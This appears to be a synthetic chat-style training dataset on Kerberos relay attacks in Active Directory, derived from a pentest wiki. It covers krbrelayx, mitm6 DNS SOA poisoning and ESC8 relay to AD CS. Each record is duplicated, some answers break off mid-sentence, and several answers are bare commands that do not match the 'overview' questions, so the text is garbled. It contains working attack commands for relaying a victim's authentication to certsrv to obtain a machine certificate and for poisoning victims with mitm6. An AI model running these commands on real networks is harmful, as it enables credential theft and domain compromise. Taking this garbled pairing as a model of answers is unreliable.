[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Kerberos relay - Practice?

[Assistant]
Kerberos relay attacks are not as permissive as their NTLM versions. For the moment, only a few specific exploitation scenarios have been proven.

In particular, it is important to note that, due to stricter configuration of exchange signatures (particularly for the HTTP protocol), relays to the LDAP service are, for the time being, virtually impossible by default.

> [!TIP]
> For these reasons, Kerberos relay has no direct advantage over NTLM relay. Its advantage lies more in the fact that NTLM authentication can sometimes be disabled on the Active Directory domain, that the target service of the relay can only authorises Kerberos (for example, in the case of an AD CS web enrolment service that has been hardened), or that the client belongs to the Protected Users group.

krbrelayx (Python) and KrbRelayEx (C#) are great tools for relaying Kerberos authentications. Those tools setup relay clients and relay servers waiting for incoming authentications.

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Kerberos relay - Practice?

Response:
Kerberos relay attacks are not as permissive as their NTLM versions. For the moment, only a few specific exploitation scenarios have been proven.

In particular, it is important to note that, due to stricter configuration of exchange signatures (particularly for the HTTP protocol), relays to the LDAP service are, for the time being, virtually impossible by default.

> [!TIP]
> For these reasons, Kerberos relay has no direct advantage over NTLM relay. Its advantage lies more in the fact that NTLM authentication can sometimes be disabled on the Active Directory domain, that the target service of the relay can only authorises Kerberos (for example, in the case of an AD CS web enrolment service that has been hardened), or that the client belongs to the Protected Users group.

krbrelayx (Python) and KrbRelayEx (C#) are great tools for relaying Kerberos authentications. Those tools setup relay clients and relay servers waiting for incoming authentications.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute Kerberos relay - Practice?

[Assistant]
Kerberos relay attacks are not as permissive as their NTLM versions. For the moment, only a few specific exploitation scenarios have been proven.

In particular, it is important to note that, due to stricter configuration of exchange signatures (particularly for the HTTP protocol), relays to the LDAP service are, for the time being, virtually impossible by default.

> [!TIP]
> For these reasons, Kerberos relay has no direct advantage over NTLM relay. Its advantage lies more in the fact that NTLM authentication can sometimes be disabled on the Active Directory domain, that the target service of the relay can only authorises Kerberos (for example, in the case of an AD CS web enrolment service that has been hardened), or that the client belongs to the Protected Users group.

krbrelayx (Python) and KrbRelayEx (C#) are great tools for relaying Kerberos authentications. Those tools setup relay clients and relay servers waiting for incoming authentications.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute Kerberos relay - Practice?

Response:
Kerberos relay attacks are not as permissive as their NTLM versions. For the moment, only a few specific exploitation scenarios have been proven.

In particular, it is important to note that, due to stricter configuration of exchange signatures (particularly for the HTTP protocol), relays to the LDAP service are, for the time being, virtually impossible by default.

> [!TIP]
> For these reasons, Kerberos relay has no direct advantage over NTLM relay. Its advantage lies more in the fact that NTLM authentication can sometimes be disabled on the Active Directory domain, that the target service of the relay can only authorises Kerberos (for example, in the case of an AD CS web enrolment service that has been hardened), or that the client belongs to the Protected Users group.

krbrelayx (Python) and KrbRelayEx (C#) are great tools for relaying Kerberos authentications. Those tools setup relay clients and relay servers waiting for incoming authentications.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Kerberos relay - Abuse from DNS poisoning

[Assistant]
Dirk-jan Mollema has demonstrated in this blog post that combining its mitm6 (Python) and krbrelayx (Python) tools, and DNS Start Of Authority (SOA) requests, it is possible to poison a client and force it to send an AP-REQ message for an arbitrary service, which can then be relayed. The following section is a summary of his blog post, and of James Forshaw's original article.

> The DNS 'start of authority' (SOA) record stores important information about a domain or zone such as the email address of the administrator, when the domain was last updated, and how long the server should wait between refreshes.
>
> All DNS zones need an SOA record in order to conform to IETF standards. SOA records are also important for zone transfers.
>
> _(Cloudflare, source)_

An interesting service for relaying authentications is the AD CS HTTP service, which by default is vulnerable to relay attacks as it does not enforce signing with HTTP, allowing an ESC8 to be exploited via Kerberos from a mitm6 DNS poisoning.

DNS is used in Kerberos authentication operations in Active Directory. In particular, it is used through Secure dynamic updates, which are used to keep DNS records synchronised with the IP addresses of dynamically addressed clients.

To summarise, the steps involved in such an exchange are as follows:

> 1. The client queries for the Start Of Authority (SOA) record for it’s name, which indicates which server is authoritative for the domain the client is in.
> 2. The server responds with the DNS server that is authorative, in this case the DC icorp-dc.internal.corp.
> 3. The client attempts a dynamic update on the A record with their name in the zone internal.corp.
> 4. This dynamic update is refused by the server because no authentication is provided.
> 5. The client uses a TKEY query to negotiate a secret key for authenticated queries.
> 6. The server answers with a TKEY Resource Record, which completes the authentication.
> 7. The client sends the dynamic update again,

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Kerberos relay - Abuse from DNS poisoning

Response:
Dirk-jan Mollema has demonstrated in this blog post that combining its mitm6 (Python) and krbrelayx (Python) tools, and DNS Start Of Authority (SOA) requests, it is possible to poison a client and force it to send an AP-REQ message for an arbitrary service, which can then be relayed. The following section is a summary of his blog post, and of James Forshaw's original article.

> The DNS 'start of authority' (SOA) record stores important information about a domain or zone such as the email address of the administrator, when the domain was last updated, and how long the server should wait between refreshes.
>
> All DNS zones need an SOA record in order to conform to IETF standards. SOA records are also important for zone transfers.
>
> _(Cloudflare, source)_

An interesting service for relaying authentications is the AD CS HTTP service, which by default is vulnerable to relay attacks as it does not enforce signing with HTTP, allowing an ESC8 to be exploited via Kerberos from a mitm6 DNS poisoning.

DNS is used in Kerberos authentication operations in Active Directory. In particular, it is used through Secure dynamic updates, which are used to keep DNS records synchronised with the IP addresses of dynamically addressed clients.

To summarise, the steps involved in such an exchange are as follows:

> 1. The client queries for the Start Of Authority (SOA) record for it’s name, which indicates which server is authoritative for the domain the client is in.
> 2. The server responds with the DNS server that is authorative, in this case the DC icorp-dc.internal.corp.
> 3. The client attempts a dynamic update on the A record with their name in the zone internal.corp.
> 4. This dynamic update is refused by the server because no authentication is provided.
> 5. The client uses a TKEY query to negotiate a secret key for authenticated queries.
> 6. The server answers with a TKEY Resource Record, which completes the authentication.
> 7. The client sends the dynamic update again,


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Kerberos relay - Abuse from DNS poisoning

[Assistant]
Dirk-jan Mollema has demonstrated in this blog post that combining its mitm6 (Python) and krbrelayx (Python) tools, and DNS Start Of Authority (SOA) requests, it is possible to poison a client and force it to send an AP-REQ message for an arbitrary service, which can then be relayed. The following section is a summary of his blog post, and of James Forshaw's original article.

> The DNS 'start of authority' (SOA) record stores important information about a domain or zone such as the email address of the administrator, when the domain was last updated, and how long the server should wait between refreshes.
>
> All DNS zones need an SOA record in order to conform to IETF standards. SOA records are also important for zone transfers.
>
> _(Cloudflare, source)_

An interesting service for relaying authentications is the AD CS HTTP service, which by default is vulnerable to relay attacks as it does not enforce signing with HTTP, allowing an ESC8 to be exploited via Kerberos from a mitm6 DNS poisoning.

DNS is used in Kerberos authentication operations in Active Directory. In particular, it is used through Secure dynamic updates, which are used to keep DNS records synchronised with the IP addresses of dynamically addressed clients.

To summarise, the steps involved in such an exchange are as follows:

> 1. The client queries for the Start Of Authority (SOA) record for it’s name, which indicates which server is authoritative for the domain the client is in.
> 2. The server responds with the DNS server that is authorative, in this case the DC icorp-dc.internal.corp.
> 3. The client attempts a dynamic update on the A record with their name in the zone internal.corp.
> 4. This dynamic update is refused by the server because no authentication is provided.
> 5. The client uses a TKEY query to negotiate a secret key for authenticated queries.
> 6. The server answers with a TKEY Resource Record, which completes the authentication.
> 7. The client sends the dynamic update again,

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Kerberos relay - Abuse from DNS poisoning

Response:
Dirk-jan Mollema has demonstrated in this blog post that combining its mitm6 (Python) and krbrelayx (Python) tools, and DNS Start Of Authority (SOA) requests, it is possible to poison a client and force it to send an AP-REQ message for an arbitrary service, which can then be relayed. The following section is a summary of his blog post, and of James Forshaw's original article.

> The DNS 'start of authority' (SOA) record stores important information about a domain or zone such as the email address of the administrator, when the domain was last updated, and how long the server should wait between refreshes.
>
> All DNS zones need an SOA record in order to conform to IETF standards. SOA records are also important for zone transfers.
>
> _(Cloudflare, source)_

An interesting service for relaying authentications is the AD CS HTTP service, which by default is vulnerable to relay attacks as it does not enforce signing with HTTP, allowing an ESC8 to be exploited via Kerberos from a mitm6 DNS poisoning.

DNS is used in Kerberos authentication operations in Active Directory. In particular, it is used through Secure dynamic updates, which are used to keep DNS records synchronised with the IP addresses of dynamically addressed clients.

To summarise, the steps involved in such an exchange are as follows:

> 1. The client queries for the Start Of Authority (SOA) record for it’s name, which indicates which server is authoritative for the domain the client is in.
> 2. The server responds with the DNS server that is authorative, in this case the DC icorp-dc.internal.corp.
> 3. The client attempts a dynamic update on the A record with their name in the zone internal.corp.
> 4. This dynamic update is refused by the server because no authentication is provided.
> 5. The client uses a TKEY query to negotiate a secret key for authenticated queries.
> 6. The server answers with a TKEY Resource Record, which completes the authentication.
> 7. The client sends the dynamic update again,


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of In a first terminal, waiting for an authentication to relay

[Assistant] krbrelayx.py --target http://$ADCS_FQDN/certsrv/ -ip $ATTACKER_IP --victim $TARGET_SAMNAME --adcs --template Machine

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of In a first terminal, waiting for an authentication to relay

Response: krbrelayx.py --target http://$ADCS_FQDN/certsrv/ -ip $ATTACKER_IP --victim $TARGET_SAMNAME --adcs --template Machine


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How do I perform In a first terminal, waiting for an authentication to relay?

[Assistant] krbrelayx.py --target http://$ADCS_FQDN/certsrv/ -ip $ATTACKER_IP --victim $TARGET_SAMNAME --adcs --template Machine

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How do I perform In a first terminal, waiting for an authentication to relay?

Response: krbrelayx.py --target http://$ADCS_FQDN/certsrv/ -ip $ATTACKER_IP --victim $TARGET_SAMNAME --adcs --template Machine


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about In a second terminal, poisoning the victim?

[Assistant]
mitm6 -i $ATTACKER_IP -d $DOMAIN -hw $TARGET_FQDN --relay $ADCS_FQDN -v
```

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about In a second terminal, poisoning the victim?

Response:
mitm6 -i $ATTACKER_IP -d $DOMAIN -hw $TARGET_FQDN --relay $ADCS_FQDN -v
```